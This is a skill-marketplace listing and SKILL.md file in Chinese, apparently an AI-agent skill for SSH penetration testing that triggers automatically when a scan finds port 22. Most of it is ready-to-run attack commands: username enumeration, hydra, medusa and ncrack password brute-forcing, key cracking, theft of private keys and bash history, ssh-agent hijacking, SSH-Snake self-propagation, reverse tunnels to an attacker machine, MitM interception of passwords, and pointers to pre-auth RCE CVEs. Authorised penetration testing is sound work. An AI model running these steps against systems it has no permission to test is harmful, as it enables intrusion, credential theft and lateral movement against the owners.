ssh-pentesting
$
npx mdskill add wgpsec/AboutSecurity/ssh-pentestingExecute SSH penetration tests to breach 22 ports.
- Automate service discovery, authentication attacks, and tunneling.
- Integrates with OpenSSH, hydra, medusa, and ssh-audit tools.
- Triggers automatically when scanning detects open port 22.
- Outputs actionable exploit steps and vulnerability reports.
SKILL.md
.github/skills/ssh-pentestingView on GitHub ↗
---
name: ssh-pentesting
description: |
SSH 服务(22 端口)渗透测试方法论。涵盖 SSH 服务发现与版本识别、认证方式枚举、用户名枚举(CVE-2018-15473)、凭据爆破(密码/密钥)、SSH 隧道与端口转发、已知漏洞利用、SSH 密钥窃取与复用。
当 Agent 扫描发现 22 端口开放、需要测试 SSH 认证强度、枚举 SSH 用户、或通过 SSH 建立隧道进行横向移动时,触发此 Skill。
metadata:
tags:
- ssh
- sftp
- 22端口
- 密钥认证
- 隧道
- 端口转发
- openssh
category: exploit/network-service
---
# SSH 渗透测试方法论 (22)
## 深入参考
- SSH 枚举、爆破、隧道、密钥利用、漏洞详细命令 -> 读 [references/ssh-techniques.md](references/ssh-techniques.md)
---
## 整体决策树
```
发现 22 端口开放
├─ Phase 1: 服务发现与版本识别
│ ├─ Banner 抓取 -> 确定 SSH 实现 (OpenSSH / Dropbear / libssh / Erlang)
│ ├─ 版本号 -> 对照已知漏洞 (Phase 7)
│ └─ 算法审计 (ssh-audit) -> 标记弱密码套件
├─ Phase 2: 认证方式枚举
│ ├─ 支持 publickey + password -> 可尝试密码爆破 (Phase 4)
│ ├─ 仅 publickey -> 搜索泄露密钥 / 弱密钥 (Phase 4)
│ ├─ keyboard-interactive -> 可能存在 2FA / PAM
│ └─ gssapi-with-mic -> Kerberos SSO 环境
├─ Phase 3: 用户名枚举
│ ├─ OpenSSH < 7.7 -> CVE-2018-15473 时序枚举
│ └─ 已知用户名 -> 进入 Phase 4
├─ Phase 4: 凭据攻击
│ ├─ 密码爆破 (hydra / medusa / ncrack)
│ ├─ 私钥爆破 (已知密钥集 / Debian 弱 PRNG 密钥)
│ └─ 默认凭据 (设备厂商默认 SSH 密码)
├─ Phase 5: SSH 隧道与端口转发
│ ├─ 本地转发 (-L) -> 访问内网服务
│ ├─ 远程转发 (-R) -> 反向代理到攻击机
│ ├─ 动态转发 (-D) -> SOCKS 代理
│ └─ SFTP 隧道 -> 受限环境下数据传输
├─ Phase 6: 密钥窃取与复用
│ ├─ 目标主机 -> 搜集 id_rsa / id_ed25519 / authorized_keys
│ ├─ SSH-Snake -> 自动化密钥发现与横向移动
│ └─ ssh-agent 劫持 -> 复用内存中的密钥
└─ Phase 7: 已知漏洞
├─ CVE-2024-6387 (regreSSHion) — OpenSSH 8.5p1-9.7p1 pre-auth RCE
├─ CVE-2024-3094 (xz 后门) — 供应链攻击 liblzma hook
├─ CVE-2025-32433 — Erlang/OTP SSH pre-auth RCE
├─ CVE-2018-10933 — libssh 认证绕过
└─ CVE-2018-15473 — OpenSSH 用户名枚举
```
---
## Phase 1: 服务发现与版本识别
### 1.1 Banner 抓取与版本探测
```bash
# 手动 Banner 抓取
nc -vn <IP> 22
# Nmap 服务版本 + 默认脚本
nmap -sV -sC -p 22 <IP>
# 获取服务器公钥指纹
ssh-keyscan -t rsa <IP> -p 22
```
### 1.2 算法审计
```bash
# ssh-audit — 自动分析算法强度与已知 CVE
ssh-audit <IP>
# Nmap 算法枚举
nmap -p 22 --script ssh2-enum-algos <IP>
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full <IP>
```
**关键判断**:
- OpenSSH 8.5p1–9.7p1 -> 检查 CVE-2024-6387 (regreSSHion),立即进入 Phase 7
- libssh 0.6–0.8 (服务端) -> CVE-2018-10933 认证绕过
- Erlang/OTP SSH -> CVE-2025-32433 pre-auth RCE
- 存在弱算法 (ssh-dss / arcfour / CBC) -> 记录,可能用于降级攻击
---
## Phase 2: 认证方式枚举
### 2.1 探测支持的认证方法
```bash
# 使用 verbose 模式查看认证方式
ssh -v <IP> -o PreferredAuthentications=none
# Nmap 认证方式检测
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" <IP>
```
### 2.2 认证方式决策树
```
认证方式枚举结果
├─ publickey + password
│ ├─ 尝试密码爆破 (Phase 4)
│ └─ 搜索泄露密钥
├─ 仅 publickey
│ ├─ 搜索 authorized_keys 泄露
│ ├─ 尝试已知弱密钥 (Debian PRNG)
│ └─ 搜索 Git 仓库 / 备份中的私钥
├─ password 被禁用但 keyboard-interactive 存在
│ └─ 强制指定: ssh -o PreferredAuthentications=keyboard-interactive <IP>
└─ gssapi-with-mic
├─ Kerberos 域环境 -> 尝试 TGT 认证
└─ kinit <user> && ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
```
---
## Phase 3: 用户名枚举
### 3.1 CVE-2018-15473 时序枚举
适用于 OpenSSH < 7.7 — 通过认证请求的响应时间差异判断用户是否存在。
```bash
# Metasploit 模块
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set USER_FILE users.txt; run; exit'
```
### 3.2 辅助枚举手段
```
用户名来源
├─ OSINT (LinkedIn / 企业邮箱格式推断)
├─ 已获得的其他服务枚举结果 (LDAP / SMB / Web)
├─ 默认用户名尝试: root, admin, user, test, git, deploy, ubuntu, ec2-user
└─ Shodan / Censys 历史数据
```
---
## Phase 4: 凭据攻击
### 4.1 攻击路径选择
```
已获得用户名列表
├─ 密码爆破
│ ├─ hydra -l <user> -P wordlist.txt -t 4 ssh://<IP>
│ ├─ medusa -h <IP> -u <user> -P wordlist.txt -M ssh
│ └─ ncrack -p 22 --user <user> -P wordlist.txt <IP>
│ 注意: SSH 通常有 MaxAuthTries 限制 (默认 6),低速爆破
├─ 私钥爆破
│ ├─ Nmap: nmap --script ssh-publickey-acceptance --script-args 'ssh.publickey=keys/' -p 22 <IP>
│ ├─ Metasploit: use scanner/ssh/ssh_identify_pubkeys
│ └─ ssh-keybrute (Python3, 支持旧算法)
├─ 已知弱密钥
│ ├─ Debian 预测 PRNG 密钥集 (g0tmi1k/debian-ssh)
│ └─ 厂商默认密钥 (rapid7/ssh-badkeys)
└─ 默认凭据
└─ -> 读 references/ssh-techniques.md #默认凭据表
```
### 4.2 SFTP 爆破
SFTP 使用相同的 SSH 认证机制,爆破命令相同。获得 SFTP 访问后注意检测命令执行绕过。
```bash
# 即使 shell 被限制为 nologin,尝试直接执行命令
ssh -v <user>@<IP> /bin/bash
```
---
## Phase 5: SSH 隧道与端口转发
### 5.1 转发类型决策树
```
已获得 SSH 访问
├─ 需要访问目标内网服务
│ └─ 本地转发: ssh -L <本地端口>:<内网IP>:<内网端口> <user>@<IP>
├─ 需要让目标访问攻击机服务
│ └─ 远程转发: ssh -R <远程端口>:127.0.0.1:<本地端口> <user>@<IP>
├─ 需要全流量代理
│ └─ 动态转发: ssh -D 1080 <user>@<IP>
│ └─ 配合 proxychains 使用
├─ SFTP 隧道 (受限环境)
│ └─ ssh -L <端口>:<目标>:<端口> -N -f <user>@<跳板IP>
└─ SSH 配置限制转发
├─ AllowTcpForwarding no -> 隧道被禁用
└─ PermitTunnel no -> TUN/TAP 被禁用
└─ 但可能绕过: 通过 ProxyCommand 或 nc 实现简易隧道
```
### 5.2 SFTP 符号链接利用
在 chroot SFTP 环境中,若有写权限,可创建指向系统根目录的符号链接:
```bash
sftp> symlink / froot
```
如果该链接可通过 Web 等非 chroot 服务访问,则实现文件系统穿越。
---
## Phase 6: 密钥窃取与复用
### 6.1 密钥搜集决策树
```
已获得目标主机访问
├─ 搜索私钥文件
│ ├─ 常见路径: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa
│ ├─ 配置文件: /etc/ssh/ssh_config, ~/.ssh/config (可能含代理跳板)
│ └─ 历史命令 / .bash_history 中的 ssh 连接记录
├─ 检查 authorized_keys -> 关联其他主机
├─ known_hosts -> 发现网络内其他 SSH 主机
│ └─ 若未哈希 -> 直接获取 IP/hostname
├─ SSH Agent 劫持
│ ├─ 检查 SSH_AUTH_SOCK 环境变量
│ └─ 存在 -> SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx ssh <next_target>
└─ SSH-Snake 自动化
└─ 自动发现本机私钥 -> 匹配可达主机 -> 递归传播
```
### 6.2 密钥破解
```bash
# 加密私钥 -> 提取哈希后离线破解
ssh2john id_rsa > id_rsa.hash
john --wordlist=rockyou.txt id_rsa.hash
hashcat -m 22921 id_rsa.hash rockyou.txt
```
---
## Phase 7: 已知漏洞
### 7.1 漏洞检测决策树
```
SSH 版本已知
├─ OpenSSH 8.5p1–9.7p1
│ └─ CVE-2024-6387 (regreSSHion) — pre-auth 信号处理竞态 RCE
│ ├─ 确认: ssh -V 获取版本; 检查 LoginGraceTime 是否非零
│ └─ -> 读 references/ssh-techniques.md #CVE-2024-6387
├─ 系统使用 xz 5.6.0 / 5.6.1 (x86-64 Linux + systemd)
│ └─ CVE-2024-3094 — xz/liblzma 供应链后门
│ ├─ 确认: xz --version; ldd /usr/sbin/sshd | grep lzma
│ └─ -> 读 references/ssh-techniques.md #CVE-2024-3094
├─ Erlang/OTP SSH (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20)
│ └─ CVE-2025-32433 — pre-auth 状态机绕过 RCE
│ ├─ 确认: 端口 22/2022/830/2222 上的 Erlang banner
│ └─ -> 读 references/ssh-techniques.md #CVE-2025-32433
├─ libssh 0.6–0.8 (服务端)
│ └─ CVE-2018-10933 — 客户端发送 USERAUTH_SUCCESS 绕过认证
├─ OpenSSH < 7.7
│ └─ CVE-2018-15473 — 用户名枚举 (Phase 3)
└─ 批量漏洞扫描
└─ nmap -p 22 --script "ssh-vuln*,ssh2-enum-algos" <IP>
```
### 7.2 SSH-MitM (中间人)
适用于与目标处于同一网络:
```
SSH 中间人攻击
├─ ARP 欺骗 / DNS 欺骗 -> 重定向流量到攻击机
├─ ssh-mitm 工具 -> 代理 SSH 连接
│ ├─ 截获用户名与密码
│ ├─ 转发命令到真实服务端
│ └─ 用户端无感知 (需处理主机密钥警告)
└─ 前提: 目标未严格验证主机密钥 (StrictHostKeyChecking)
```
---
## 配置审计 (获得访问后)
获取访问权限后检查 `/etc/ssh/sshd_config` 中的危险配置:
| 配置项 | 风险说明 |
|-------|---------|
| `PermitRootLogin yes` | 允许 root 直接登录 |
| `PasswordAuthentication yes` | 允许密码认证 (爆破风险) |
| `PermitEmptyPasswords yes` | 允许空密码登录 |
| `AllowTcpForwarding yes` | 允许端口转发 (隧道) |
| `X11Forwarding yes` | 允许 X11 转发 (键盘记录) |
| `AuthorizedKeysFile` 自定义路径 | 后门密钥可能隐藏在非标准位置 |
| `ForceCommand` 未设置 | SFTP 用户可能执行任意命令 |
**关键文件**:
- `ssh_config` / `sshd_config` — 客户端/服务端配置
- `authorized_keys` — 授权公钥
- `known_hosts` — 已知主机 (可泄露网络拓扑)
- `id_rsa` / `id_ed25519` — 私钥文件
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|